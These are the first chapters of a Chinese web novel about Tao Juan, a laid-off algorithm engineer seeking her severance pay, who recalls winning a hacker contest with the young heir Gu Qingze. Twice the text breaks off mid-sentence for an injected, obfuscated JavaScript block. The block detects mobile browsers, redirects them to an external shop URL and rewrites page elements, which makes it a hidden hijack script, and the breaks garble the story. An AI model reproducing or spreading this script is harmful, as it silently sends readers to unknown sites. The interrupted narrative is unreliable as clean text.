《心有余悸》 1. 这算重逢吗? 陶涓醒来时心口一阵一阵发紧,心脏跳动得很奇怪,像是每几下就要用力向上蹿一下,她靠在床头咳嗽了一阵,摸到了床头柜上的川贝枇杷膏拧开盖子狠狠灌了一大口,心里默念瓶身印的黑字“……止咳平喘,徐徐咽下,焦渴立解……”仿佛这样能加速药物起效。 枇杷膏凉津津的甜味慢慢渗透,她深呼吸,梦中那种喘不上气的感觉终于缓和下来,看一眼床头柜上的电子钟,竟然已经快九点了,可窗外并没多少天光。 自从进入十二月,北市好像就没有一天出太阳的,天空总是阴沉沉的,像是随时会下雪。 她裹上毛衣拉开窗帘,灰蒙蒙的天,光秃秃梧桐,憔悴的枯枝被寒风吹得瑟瑟发抖,她跟着打了个哆嗦,赶紧把电暖气调到最高档。 老小区的房子保温差,窗子还是老式推拉窗,贴了挡风条也无济于事,一楼邻居的暖气烫得烧手,她住在顶层五楼,暖气片摸着比手温还要凉一点,幸好房子小,总共四十平的一居室,不计电费开电暖气尚能保命。只是卫生间比卧室要冷至少两三度。 陶涓洗脸时不得不感叹时光易逝,镜中的自己苍白消瘦,眉心还有两道浅浅的细纹,大约是这几年愁眉苦脸的时候太多了,她放下毛巾,回忆闺蜜曹艺萱教的手法,两根食指蘸上面霜扒拉眉头,细纹果然好像浅了些!她又努力微笑,镜中的人和她刚才梦中的自己仍然判若两人。 也难怪,梦里的她刚刚二十岁,眼睛里有晶亮的光,理所当然觉得自己配获得人生最好的一切,她的队友也一样。当听到他们获得冠军时,他们尖叫着拥抱,在欢呼和掌声中一起走上领奖台接受鲜花和奖牌…… 如果这是回忆,接下来应该是这么发展的,可她做的是梦。 梦从来不讲道理。 梦里,她和冠军队友获胜之后,两人激动得拥抱欢呼,然后……然后领奖台变成了天台泳池,她和他还保持着拥抱的姿势,怀里也还抱着冠军花束——这么多年了她还是记得很清楚,那天的冠军花束里有雪白的剑兰、紫色鸢尾和小苍兰,还有粉色洋牡丹,可是梦里,她和他相贴的肌肤之间只有这些花叶。 陶涓双掌捂眼。 虽然已经闭上了眼睛。 怎么会做这种梦。 要是问闺蜜曹艺萱,她一定会说这多正常啊,久旷嘛,皮肤太过饥渴,大脑收到信号,给你发一个贴贴的梦。 尴尬的不是做这种梦。 尴尬的是梦里的人。 顾清泽。 他那时候才多大?十六?十七?还是十五?完全是个又傲慢又幼稚的纨绔小屁孩。 陶涓再次沉痛地摇摇头。 作孽啊…… 梦里的自己道德沦丧饥不择食,逮着未成年也吃得下去。 出门时她小心把自己的劳务合同装进包,换鞋时想了想,又回卧室拿上曹艺萱前天晚上送来的录音笔塞进羽绒服口袋。 从她住处去公司坐地铁只要三站。当时就是为了通勤时间短才租了这套老房子。 哦,是前公司。 几周前,她被辞退了。 按照我国劳动法,员工被辞退后原公司应在两周内支付补偿金,可她现在还没收到钱。 过了早高峰的地铁给陶涓一种久违的熟悉感,互联网大厂的程序员们上班时间灵活,十一点以后来公司的人也不少,自然,下班时间也要顺延推迟。不过,自从换了顶头上司,她几乎每天七点之前就到公司,晚上十点前能回家就不错。就在被辞退前一周,她还连着两三天待在公司。 最近流行一个说法,选择大于努力。 几年前的陶涓赞成这说法。 她又想起早上的梦,那次大奖赛夺冠为她锁定了在当时国内互联网巨头“方舟”实习的机会,加入方舟的算法设计师培养计划。从大四下学期开始,她在方舟兢兢业业做了十年。 她当年选错了吗?没有。她不努力吗?更不是。 只是,当她上了方舟这艘大船之后才发现,巨船的航行方向不是她这种级别的小虾米能谏言左右的。 很多时候明明看出新项目就算成功落地也很难和现有的竞争者抢市场,但连她的上级都无能为力,她能做的也只有努力完成自己的KPI,事实证明她还是太单纯了,方舟连续几个大项目都没能成功,高层内斗越来越激烈,三年前高层大换血,一些项目被腰斩,一年前带她入行的上级被迫引咎辞职,空降的新上司黄志添是新任CEO的嫡系——这一点最重要,至于什么技术能力、管理水平、对未来发展的远见……不重要。通通不重要。 后来同事罗莹吐槽,这人名字倒没起错,志在添乱。陶涓深有同感。 新官上任三把火,黄志添空降之后干的第一件事就是全面暂停大家原本在做的东西,接着宣布孵化新项目,谁敢提出异议,黄志添就把谁当成前朝余孽大刑伺候,尤其是陶涓和资历深的几个同事。 大家都知道新上司定的目标根本没法按时完成,但为了那份薪酬只能每天超额工作,还要时不时被当众羞辱。 倒也不是没想过换工作,可是上了这艘大船,再想跳下去也不容易。 陶涓这样的项目主管已经做到管理的中层,技术员的高层,小公司不需要这类人才,也付不起这个价钱,再大点的公司,掌权者会担心请来的新人野心勃勃,一旦位置坐稳就要架空自己。 如果是过去年景好的日子,倒是可以试试跳到同行业另一巨头的船上,可惜最近几年整体经济下行,不管是国内外,互联网行业巨头都在裁人,把分支业务整块裁掉出售,上网搜一搜,同等职位的招聘信息屈指可数。 无奈何,只得先蛰伏着,看在钱的份上让黄霸天作威作福,没想到他却以为她表达任何不同看法都是要挑战他的威信,是要谋朝篡位,终究鸡蛋里挑骨头给她扣了个“业务表现未达预期”的帽子踢出方舟,让自己的亲信取而代之。 想到这里陶涓胸口一阵滞闷,深呼吸好几次才稍微缓解。 进了前公司大门,陶涓看到前台摆上好久没见的鲜花,不由稀奇:“什么大人物来了?总部来人了?” 高层大换血后方舟开始降本增效,连总部都逐渐转移到H市,大堂接待台平时都用仿真花。 “黄总今天有重要的客人,”前台接待员小张递给她访客表,“听说是太平娱乐的章总来谈融资。” 黄霸天一向把融资当成大KPI,之前尝试过几次都没能成功,太平娱乐?陶涓对太平最深的印象是它现任总裁章秀钟,国民度极高的纨绔子弟,和几个女明星传过绯闻的花花公子。 他,和黄志添?合作? 怎么感觉这么荒诞? 不知道是章公子想搞新概念股割韭菜,还是黄霸天要骗人傻钱多的少爷。 她填好表,小张也给人事部打了电话确认,这才给她一张访客磁卡,“康姐说您直接去她办公室就行。” 公司的电梯必须用磁卡才能进入,不同磁卡权限也不同,陶涓记得自己刚来实习时的卡只能去7楼的餐厅和5楼以下的楼层,随着资历增加,员工卡的权限也逐年增加,可是始终只有15层以内的权限,15层以上是高级主管们才能进入的楼层,有一部专属电梯,现在,她的卡变成了只能去特定楼层的访客卡,跟她多年前来面试时一样,10楼,人事部。 人事部经理康苓的秘书一见陶涓就抱歉地笑,“总部临时发起电话会议,康姐刚去开会了,你先坐。”说着把陶涓领进康苓的办公室,会客区的咖啡桌上已经摆上红茶和饼干,“有什么需要就叫我。” 陶涓枯坐许久,秘书听到她咳嗽又给她换了杯菊花茶,周到得无可挑剔,只是康苓一直没开完会。 看看手机,已经十二点了。正踌躇时,有人发来微信语言邀请,是罗莹。 方舟的规定,三级以上技术员要配两部手机,公私分明。离职那天公司的一切电子产品都已上交,不过,日子久了哪能分那么清,处得好的同事还能没私交? 陶涓到楼梯间,语音一接通罗莹就叫:“江湖救急!姐,不管你现在在哪里在干啥,暂停,救我狗命要紧!” “……我现在在10楼,人事部。” 罗莹反倒停顿一下,笑道,“你是菩萨派来的救兵吗?我马上来!” 片刻后她抱着两台笔电从楼梯跑下来,焦急中满是幸灾乐祸,“听说黄霸天和他的狗腿子正给金主爸爸演示呢,萝卜特切着苹果突然暴走了,差点没给黄霸天眼珠戳出来!你快帮我看看还有救吗?” “小心点!”罗莹跑得飞快,陶涓心惊肉跳,生怕她一脚踩空摔断脖子。 萝卜特是方舟研发的医疗机械臂,和黄志添其他新官上任后搞的项目一样,想要做成至少要投入五年以上,地基都还没打好就要在楼台上大宴宾客,纯粹为难技术员。 两人坐在台阶上,陶涓接过一台笔电,先看萝卜特在故障前都做了哪些指令,皱眉敲代码,“章公子带了个行家来?这人很厉害啊,看了基本演示就推测出哪里可能出问题。” 罗莹惊讶,“你怎么知道黄霸天这次找到金主是谁?” “听前台接待说的。”陶涓找到症结所在,“我不在这几周你们干嘛了?完全没进展,这一块不是早说了不能这么做吗?” “别提了!白狗腿只会拍马屁,他懂个嘚儿的技术!”白狗腿是接替陶涓职位的人,姓白,叫什么已经不重要了,反正大家背后都叫他狗腿,罗莹沮丧摇头,“唉,不懂还喜欢瞎指挥,提的要求都是‘画一条绿色的红线,要直’那类的,大刘跟我敢多说一句就拿级别压我们……” 陶涓知道那是什么滋味,“这么改一下,暂时应该没问题了。”但是能不能融到资,她可不知道。 罗莹拍拍自己脑瓜,“我去,我怎么没想到!”她呼口气,这时才有工夫打量陶涓,“你怎么样?找到下家了?” 陶涓摇头,继续敲代码,“哪有那么容易。” “哎,你今天来公司干什么?” “来要补偿金。” “还没给你?” “不然呢?菩萨昨天给我托梦说你今天有难,让我在这儿等你?” “哈哈哈!”罗莹拍陶涓一下,“冥冥中自有安排!” 陶涓被她逗笑了,一笑,又咳嗽起来。 “你这感冒怎么还没好呀?去看了吗?” 陶涓又咳了一会儿,“前天去社区医院看了,开了点药,我还没吃完呢。真不想去医院,人太多了……” 罗莹的手机突然响起来,她开了免提,大刘急吼吼的,“找到涓姐没?白狗腿在这儿跳脚骂街呢!我靠,他还有脸跳——哎?等等!我问你,要是因为打同事被开除了,影响我拿补偿金吗?” “放下你的拳头,苟住。涓姐刚好在十楼,她来要补偿金的,连康苓人都没见到。” 大刘说了句脏话,又欣喜起来,“你跟涓姐在一起呢?有救了吗?” 陶涓安抚他,“有救,有救。” 代码跑得很顺利,她接过罗莹的手机,“大刘,你再试一次,嗯。有反应吗?好!” 罗莹双手合十举在头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174259|196869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顶对陶涓摇了摇,“救命之恩。不废话了,我得赶快回去。”说着抱起笔电往楼上跑,刚上几个台阶滑了一脚,膝盖重重磕在台阶上,她疼得嘶嘶吸气,却爬起来接着向上跑,“哎唷,还好电脑没事。” 陶涓只能再说一句废话,“小心点。” 罗莹喘着粗气,“没事!你快回去吧这里冷!” 陶涓这才觉得寒气浸骨。楼梯间里没暖气,她来接电话时没想到要穿上羽绒服。 康苓还没回来。 秘书笑眯眯给陶涓又续了杯茶,“还需要点什么?待会儿我去食堂,要不要给你带份饭?” 陶涓坐立难安。她勉强笑了笑,“我今天还有事,不等她了。” “那我送您出去。”秘书立刻说。 站在电梯里,陶涓摸摸口袋里没派上用场的录音笔,心里闷闷的。 她不知道接下来要怎么办。明天再来?康苓会不会又开一上午会?还是,找个律师? 她当初真没想到方舟会拖着不给补偿金。 或者再等等?有些大厂同行说他们是离职后一个多月才收到补偿金的。方舟家大业大,她那点补偿金九牛一毛都算不上。 可要是……黄霸天是故意作梗呢? 真要请律师,申请仲裁,方舟拖得起,她拖得起吗? 陶涓思绪纷纷,电梯打开时看到接待员小张带了名保安站在门口,她一时怔住,小张微笑着把她往侧门带,“从这出去吧,贵宾们马上要下来了。” 大堂侧门通道里有两台货运电梯,食堂的蔬菜肉类和各种设备,还有食堂的工作人员、清洁工、维修工们,走的就是这条通道。这里也是一条防火通道,大门常年敞开,门外就是在方舟大厦和另一座大厦之间的巷子。 军绿色厚棉门帘又脏又重,带着股说不清多少种气味混在一起的腌臜,陶涓掀开一条缝,一股寒风扑面冲来,吹得她睁不开眼。 在她身后的大堂里,接待员们在高层专属电梯两侧分列而站,对打开的电梯门毕恭毕敬鞠躬。 一群人众星捧月般簇拥着两名高大的年轻男子走出来。 这群人走到中庭时,罗莹和大刘等几个同事才乘着员工电梯到达大堂。 他们看到平日趾高气昂的上司黄志添哈巴狗似的紧紧跟在这两人身后,点头哈腰,可这两人对他视而不见,脚步都没慢半分,径直朝着大门走去。几辆黑色奔驰越野车前后簇拥着一辆宾利欧陆GT停在自动门前,几个高大的黑衣保镖也已在车前待命。 自动门打开时,黄志添急忙跟在章公子身旁的年轻男人朝着宾利另一边的车门走去,焦急哀求,“……我们今天是出错了,可是很快又调试好了呀!您看要不要再约个时间……” 大刘小声问罗莹,“这人什么来头?” 罗莹摇摇头,问另一个同事,“不是章公子请来的顾问吗?” 白狗腿瞥他们,“顾清泽你们都不认得?” 看到众人一脸迷茫,白狗腿鄙夷,“那顾氏集团你们总知道吧?” 这倒是人人都知道,顾氏集团的创始人顾长河是南洋巨富,制药起家的,后来家族产业扩展到农业、化工、金融、地产和机械制造,二战时变卖家产支持抗日,是“红色资本家”。 “顾清泽,是顾家这一代的佼佼者,最近入股太平,成了第二大股东,他还是几个风投资本的实际控制人——”白狗腿低声说着,摇摇头,“不好打交道。” 罗莹自动翻译:不是地主家的傻儿子,不好骗。她和大刘在最后的答疑环节才去了15层,可两位公子已经失去耐心提前走人,她只看到这位让黄霸天和白狗腿吃瘪的贵公子身形高挑,比章秀钟还要高半个头,正要伸长脖子看看他长什么样子,没想到他恰巧回过头向他们扫了一眼。 他俊美得让人意外,可神情冷漠倨傲,被他眼风一扫有种后背发凉的不适感。 罗莹想了想这不适感因何而来,这位贵公子的眼神,配上他格外出众的外貌,让他有种人机感。像AI仿生人。 幸好他的目光只在他们身上停了一下就收回,“尽快卖掉方舟的股票吧。” 罗莹和大刘面面相觑,不确定这话是不是对他们说的。 黄志添失魂落魄,呆呆看着车队离开,像被定住了,丝丝白气从他脑袋上升起,被冷风吹散。 下雪了。 巷子里的风太强,陶涓两次拉上羽绒服的帽子,才走两步又被风吹掉了。第三次戴帽子时鼻尖忽然一凉,她抬起头,几片细小的雪花在风中打着旋,从铅灰色的天空降落。 快到巷口时,几辆黑色车子排成一队驶过,卷起的风夹杂着雪扑在她脸上,有微微的刺痛感,陶涓正后悔今天出门没带围巾也没带手套,手机突然在口袋里震动。 她一手拉紧帽子,一手掏出手机,是曹艺萱。 “你在哪儿?” “方舟。” 曹艺萱一听闺蜜这语气就知道她讨薪失败,“我就在附近呢,接你去吃涮羊肉。” “好。” “你没事吧?” 陶涓吸一下鼻子,“没事,下雪了,有点冷。”本来不觉得怎样,被关心了反而忽然觉得委屈。 在乎你的人总能听出你是不是真的没事。 曹艺萱夸张地笑,“嘿嘿,告诉你个好消息,你在娱乐圈唯一的人脉——我,终于要发挥作用了!过几天我要去一个有好多大人物的酒会!待会儿把你简历发给我,我帮你找新工作。” “什么酒会?” “太平的平安夜酒会。” 2. 她和他是怎么认识的 要较真的话,曹艺萱应该叫陶涓表姐。 陶涓继父的母亲和曹艺萱的姥姥是亲姐妹。 当年曹艺萱鬼迷心窍,打定了主意要去学表演,为艺术奉献终身,曹家的大人们起初不同意,不过,就像曹艺萱自己说的,她别的优点一个都没有,就是犟。人家是撞了南墙才回头,她不,她要撞至少三次才认输。 复读了两年,终于考上,家里人知道拦是拦不住的,生怕这个缺心眼的孩子被人引得误入歧途,只好看看家里亲戚谁在北市,求人帮忙照看着。这么一想,就盯上陶涓了。 陶涓从小在亲戚朋友眼中就是“别人家的孩子”,从来不让家里人操心,考上了名校还年年得奖学金。尤其曹艺萱去北市上学那年,陶涓大四,还没毕业就进了互联网行业巨头实习,人生履历完美无瑕。 曹家的人既然开口了,陶涓还能拒绝吗?好在他们要求也不高,就请她每一两个月抽空看看曹艺萱,吃顿饭,要是见势不妙赶快打小报告。 陶涓本来是抱着做任务的心态去的,没想到和曹艺萱有些缘分,两人一见如故。陶涓大学里同班女生少,毕业后有人出国有人离开北市,高中同学更是渐行渐远,渐渐和曹艺萱成了很亲密的朋友。 曹艺萱常说自己是“后来者居上”。 十五分钟后曹艺萱在一家便利店门口接到陶涓。 陶涓一上车,曹艺萱先递给她一个暖宝宝,听到她咳嗽又递给她一盒润喉糖,“明天我上午没事,陪你去医院看看吧,你这咳嗽总也不好。” 陶涓摇头,“我自己去就行。你是上升期的女明星,没事去医院干什么?” “嗐,什么女明星,十八线小艺人!” 曹艺萱毕业前就签了公司,叫兰荣文化,小作坊,好处是老板蓝正荣是正经人,公司一姐梅姐是得过玉兰奖的女演员,但那是十几年前的事了,还有几个小艺人也和曹艺萱差不多,家里有点小钱想进娱乐圈玩,因此都比较佛系,没什么乌七八糟的事,不过嘛,他们公司在业内最多是个三流小公司,之前只能跟在大公司后面捡剩饭。 前几年曹艺萱一年有多半年不开工,这几年公司搭上了网络平台发展的快车,专注参与网剧、短剧,资源慢慢多了,曹艺萱人漂亮演技好,事少又便宜,是性价比非常高的演员,工作终于多了起来,前年开始终于收支平衡,总算不用再伸手问家里要钱了。 “你真别跟我去医院!”陶涓很坚决,“这一阵正闹流感,医院里到处病人,你年末活动多,万一被传染了不是错失机会?” “那你明天一定去医院?” 陶涓保证:“一定!” 涮锅店也不远,片刻就到了,这时雪越下越大,两人走进店里的小包间,窗边已经积了一道白绒条。 陶涓去洗手间回来,锅里汤冒着白气,曹艺萱还给她调好了蘸酱,一勺酱油一勺醋加两勺麻酱,再用一大勺清汤化开,涮得刚刚好的嫩羊肉蘸着酱汁,吃下去全身暖洋洋的,什么烦心事都抛到九霄云外。 曹艺萱跟陶涓讲“太平的酒会”是怎么回事,“我们公司今年跟太平有合作才被邀请了,蓝总和梅姐打算带我一起去刷刷脸,希望能谈下来一个女三号,太平这几年自制的网剧质量越来越高……唉,不说这个!你都没时间看剧。章公子这个级别的,我们蓝总都不一定能跟他搭上话,我这种小虾米就更甭想跳到人家眼前了,不过他秘书孙淳跟梅姐有点小交情,到时候我让梅姐介绍一下——你待会儿回家再好好润色一下简历发我微信,要是我能找到机会跟孙淳聊天就把你简历给她,太平正要招兵买马进军互联网,你这么优秀,肯定一下就被招募了。” “太平娱乐真要扩大业务?”陶涓还是觉得章公子是要搞概念股去割股民韭菜。 “看看,你先入为主了吧?”曹艺萱纠正陶涓,“首先,太平的全称是太平投资,Pacific Venture Capital,娱乐业一直只是其诸多投资之一,只不过其他业务都没有娱乐业曝光度高,其次,资本追逐金钱就像鲨鱼追逐血腥,你看看最近几年福布斯财富榜上排在最前面的都是哪些人?贝索斯、马斯克、扎克伯格,还有国内那些上榜的富豪,哪个不搞互联网科技呀?再看新进榜的富豪,几乎清一色是你们行业的!太平已经有几家流媒体平台,还投资网剧……” 陶涓突然发觉自己有好大一块知识空白,她听说过福布斯和那些富豪的名字,却从没想过要了解这个榜单,不禁对曹艺萱肃然起敬。 曹艺萱继续侃侃而谈,“太平这次扩张是非常认真非常有野心的,章公子可不只是个只会跟女明星传绯闻的花花公子,早在去年林氏拿钱走人退出太平之前就已经布线了,新合作人是……”她忽然卡壳,沉默了几秒钟不自然地咳嗽一声,“叫什么来着?哎唷,也是个风投资本,啊,我忘词了。” 陶涓:“……忘词?” 曹艺萱不好意思,“嘿嘿,本来想装个大的,失败了。刚才那些是早上蓝总和梅姐聊天时我听的,正听着呢死渣男陆扬又发微信骚扰我,我忙着拉黑他就没听到后来是什么!” 陆扬和曹艺萱谈了五六年,分分合合,这次分手不知道是不是永久性的。 吃完饭曹艺萱送陶涓回家,在她下车前郑重说:“你这么优秀,就缺一个机会。太平这把不是随便玩玩,你也说章秀钟今天还去方舟谈融资。姐们儿,这是什么?这就是上天给我们的机会!启示!等着,我一定帮你争取到这个机会。” 回家后陶涓先上太平官网看了看,曹艺萱说的信息全都对,两年前太平就开始调整战略,并和一个风险投资公司绑定合作。不过这个投资公司相当低调,并没披露很多信息。 她重新编辑简历,在个人经历里补充一条:曾获2013年HTI世界黑客攻防大赛团体赛冠军及个人赛亚军。 打完这行字,她对着屏幕愣了一会儿,去了卧室,然后踩着凳子从衣柜最顶层取出一个纸盒。 纸盒里放着各种小东西,最上层是一个蓝丝绒戒指盒,里面是周测给她的订婚戒指。 分手后她把戒指还给他,他坚持不收,她无心再纠缠,先搁着吧。 戒指盒放在一边,她从最底层翻出两个红色绒面扁盒,盒子的按钮早已褪去原本的金色,里面的白色缎面也有些发黄了,奖牌倒还光亮如新。 那一年的HTI大赛在波士顿举行,大二的陶涓代表大学出征,但只是替补队员。 虽然筛选赛中她无论是赛绩还是演讲展示的分数都略胜一筹,但不知什么原因,最后确定名单时,两名计算机科学专业的同学是正式队员。可能因为她的专业不是计算机科学而是自动化,也可能是别的什么原因。 她是抱着出去见见世面也好的心态去的,反正酒店机票是学校付,就当暑假度假了。万万没想到,到达波士顿第二天,时差还没倒过来,队伍几乎全军覆灭——两名正式队员和三个带队老师全都得了流感,高烧、呕吐、全身酸痛,别说准备比赛,起床都困难。 为期一周的赛前准备期一转眼过了一半,伤员们没一个有起色。这时想再找一个替补飞来也来不及了,一是放暑假了人不好找,二是就算找到人,也来不及办护照和签证。 陶涓接到他们院长电话时是波士顿下午五点,她正在中国超市买涪陵榨菜,吃了一次外卖中餐有人拉肚子,病得雪上加霜,幸好她背了个小电饭锅来,在酒店街角的印度商店买了点米,病人们才能吃上粥了。 她以为老头儿要慰问大家,没想到他兴奋嚷嚷,“有救了!咱们有救了!我一个朋友的儿子——天才少年,现在就在波士顿!虽然还没上大学,但是被我们录取了就算我们的学生——你甭伺候那帮家伙了,现在就去找这个小师弟!跟他组队!咱们学校绝不能在这种重大赛事弃权!” 陶涓只好立刻、马上拎着方便面和榨菜按照老头儿给她的地址找去这位小师弟住的酒店。 他们大学从来不乏世家子弟,陶涓也算见过些世面,不过,由服务员陪着上了顶楼套房专属电梯后还是大开眼界——这套房大的惊人,客厅也大的惊人,有一面七八米的落地窗,窗外就是楼顶泳池,蓝天碧水,池边和水里有十几年轻女孩子,皮色发色各异,各个容貌姣好身材火辣,全穿着比基尼,有的在水中嬉戏,有的躺在沙滩椅上日光浴,泳池边有个闪烁霓虹灯的酒吧,旁边还有DJ台,有真人DJ在播音乐。 陶涓脑子里当时闪过满屏弹幕:酒池肉林!! 这里看起来不像波士顿,像夏威夷。 她没见识地问服务员:“这些女孩是谁?”她没走错地儿吧?这看起来像在拍MV。 人家微笑回答:“她们都是顾先生的客人。” 弹幕自动变了:银趴!! 又走了几步,她又没见识地问:“那些花衬衫大汉们也是顾先生的客人?”每隔一段距离就有位穿花衬衫戴墨镜的彪形大汉。一共六位。 “他们是顾先生的保镖。” 哇靠。 这究竟什么鬼地方? 院长是不是给她发错地址了?这完全像墨西哥毒枭的地盘啊—— 有那么一秒钟,陶涓想转身告辞,可这时,服务员指向露台另一边的太阳伞:“顾先生在那里等您。” 她只好硬着头皮走过去。 巨大的太阳伞下摆了两张躺椅,一个少年斜倚在一张躺椅上,面前茶几摆着黑白格棋盘,他正在和自己对弈,他穿着白色亚麻衬衫,头发比寻常的同龄男孩长不少,发尾微卷,被晒成了浅咖啡色。 她站在阳伞边缘静静看他移动棋子,看了一会儿认出他是在复盘一场经典的国际象棋大师对战。 他抬起头,她看到一张被阳光亲吻成蜜色的脸,少年的五官出人意料的秀丽,一双棕褐色的眼瞳清澈如水,看起来比她预期的要年少很多,可能就十五六岁? 陶涓和少年对视了一眼,回头再看一眼泳池边的比基尼女郎们,再回过头,“顾清泽?” 他的声音比外貌清冷很多,“我是。” 陶涓说明来意前已经有预感,果然,他听到什么HTI大赛什么代打,只冷漠地端起饮料,浅啜一口,“唐院长确实和我父亲是朋友,我也确实收到了录取通知,可我还没决定要去北市读书,更别说参加什么黑客大赛。”他舒展身体,看向泳池,“再说,我为什么要帮你?” 陶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174260|196869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 涓想了想,“嗯……可能会挺好玩的?”她坐在另一张躺椅上,看向棋盘,“你就当它是个游戏,比象棋还要有意思点的一场游戏?” 他斜睨着她,“你会玩吗?” “算是吧。” “你玩得怎么样?” “还行吧,不过我有十年没玩了。” 他笑了一声坐起来,“一局超快棋,你输了就走,别再来烦我。” 半小时后,棋盘上战事胶着,他忽然问她:“你想喝点什么?要不要什么饮料?” “好啊!”她是真挺渴的。 “那……长岛冰茶行么?” “什么都行!” 后来陶涓才知道,长岛冰茶不是茶。是用伏特加、朗姆酒、金酒、龙舌兰酒四种基酒和冰块、白薄荷酒、柠檬汁调制而成的鸡尾酒,酒精度高达40%。 侍者端来插着小纸伞的饮料后,她还对顾清泽说了声谢谢。 她一口气喝完那杯冰茶没多久,开始日落了,顾清泽再次放棋子时,陶涓忽然注意到这少年脸上和手臂上的寒毛被夕阳染成浅金色,让她联想到金棕色的可卡犬,无来由地想要轻轻抚摸。 那局棋她赢了。 顾清泽推棋认输时有点诧异,“你下得不错嘛。” 陶涓哈哈一笑,“我八岁就业余一级了!”说完忽然发觉自己有点得意忘形,随即感到自己心跳很快,也很渴,她看向自己的杯子,真不巧,那杯冰茶早喝完了。 他体贴问:“再来一杯别的?矿泉水?还是……” “就这个吧。” 侍者又送来一杯长岛冰茶,她一边喝,一边跟小学弟讲HTI比赛的规则,先是团队赛,有72-96小时比赛时间,根据往届案例推测,今年的题目应该也是在规定时间内完成“开发+落地”一个小应用程序,比如,一个匹配特定人群的聊天交友的社交软件,帮助拖延症患者按时交论文的激励小程序等等。 她问他有没有用过比赛制定的一些技术,某个开源框架之类的,还有前端用的模板……说着说着,忽感唇齿缠绵,眼皮越来越沉重。 再醒来时天窗外的天空都黑透了。陶涓迷迷糊糊翻了个身,发现自己躺在一张陌生大床上。 她惊叫一声坐起来,从上到下把自己摸了一遍——啊!谢天谢地,衣服一件没少! 这时她听到一声冷笑,顾清泽坐在几米远的一张写字台前,脸上明明白白写着:你瞧不起谁呢? 陶涓假装无事发生,指指床头柜上装在玻璃瓶里的矿泉水:“我可以喝吗?我很渴。” 顾清泽要笑不笑,“当然了。” 陶涓拧开一瓶水一饮而尽,更加从容了,“你在看什么?” 顾清泽把笔记本转到她面前,“我们得提前做些代码片段……” 陶涓对他举起拇指,笑,“英雄所见略同。我已经做了些常用功能代码,到了比赛现场可以直接复用。” 队友们全都放弃希望了,她没有。万一比赛前一天有人能上场了呢?她得提前把弹药准备好。 顾清泽也笑了,他走过来,向她伸出手,“你好,队友。” 陶涓从床上跳下来,用力跟他握手:“让我们夺冠!”她这时才发现,顾清泽比她高差不多一头。 就这样,第二天陶涓一早就背着电脑和测试设备来酒店跟顾清泽备战。 电梯打开后她做了点心理建设才走去大厅,看到泳池一个人都没立即松了口气。 让她意外的是,顾清泽已经准备好了,他让人重新布置了书房,放上两张大电脑桌,还准备充电器、扩展坞、传感器等等。 要在两三天内完成原本需要一周的备战,时间非常紧迫,而且两人从来没有合作过,顾清泽在建模、编程上是个天才,可他似乎没有受过系统的教育,很多野路子让陶涓一愣一愣的,要想夺冠得赶快磨合。 两人忙了一天,到了晚上渐渐感到有些熟悉对方的思路。 十点半,吃完夜宵,陶涓有点遗憾,“要是能通宵就好了。” 顾清泽同意,“哦,你待会儿去把你的行李搬过来吧。我这有两间客房,你选一间喜欢的。” 陶涓这才知道,顶楼套房的面积将近三百平米。 三百平米。 这里的客房都要比她酒店房间大两三倍。 顾清泽叫司机陪她取了行李,两人复盘了这一天遇到的问题才去休息。 接下来的两天,睡眠完全不规律,不过,透支健康得到了回报,两人越来越默契,许多时候只需要简短讨论就明确各自要负责的部分,不单是效率高,还有种不可思议的顺滑感。 正式比赛时带队老师拖着病体去观战了半小时,差点当场大叫天不亡我。 就这样陶涓和顾清泽斩获第十四届HTI大赛团体赛冠军和个人赛冠亚军。 陶涓至今还记得组委会宣布他们获胜那一刻,她跳起来拥抱顾清泽,两人一起尖叫、大笑、激动地蹦跳,那一刻,她确信世界是她的,自己理所应当会获得成就、荣耀、地位等等一切用来衡量成功标准的东西。 唉。 原来只是牛马打工人的黄粱一梦。 3. 你开心得有点特别 临近圣诞节,节日气氛渐浓。 超市里播着欢快的圣诞歌曲,商场挂上圣诞装饰。 陶涓走在超市里,莫名会感到尴尬。 除了带着小宝宝的年轻妈妈,白天很少会有她这个年龄的人优哉游哉逛超市。 她告诉自己,珍惜现在的美好时光吧,等再上班了又是不见天日的牛马。 结账时她收到周测的微信,问她在干什么,有没有去看医生,工作找怎么样了。 陶涓直接语音通话,接通的瞬间她就知道,周测还在医院,可能刚下手术,也可能刚带着实习医生们巡完房。医院的嘈杂背景和别的地方不一样,从周测去安真医院实习她就经常听到。 和周测聊了几句,他问:“后天就平安夜了,你有安排吗?要出来玩吗?” 陶涓想都没想就回绝,“感冒刚好一点,不怎么咳嗽了,我可不出去。” 周测笑了一声,“那我来看看你?” 陶涓未置可否,“到时候再说吧。” 周测还想说什么,旁边有人对他说了句“2号床血氧突然降到百分之七十六……”,他赶紧结束通话,“我等会儿再联系你。” 陶涓知道,这个“等会儿”也许是十几分钟,也许是几小时,也可能是第二天。完全看病人情况。心外科一台手术六个小时以上很常见,复杂的手术耗时更长,对医生的体力和精神都是极大考验。有好多次,周测下手术后正和她聊着天忽然睡着了。起初她还会担心,会逮着个空跑去看看他怎么了,等她上了班,每天自己也有一大堆事情要处理,只能焦虑地等着他再联系她。 这次应该也不会例外。 幸好,她再也不用悬着心等他了。 回到家陶涓做上米饭,拿起手机查询银行账户余额。 方舟还没给她补偿金。 人事部的康苓每次都恰巧在她打来电话时不在,当然,电邮也没回。 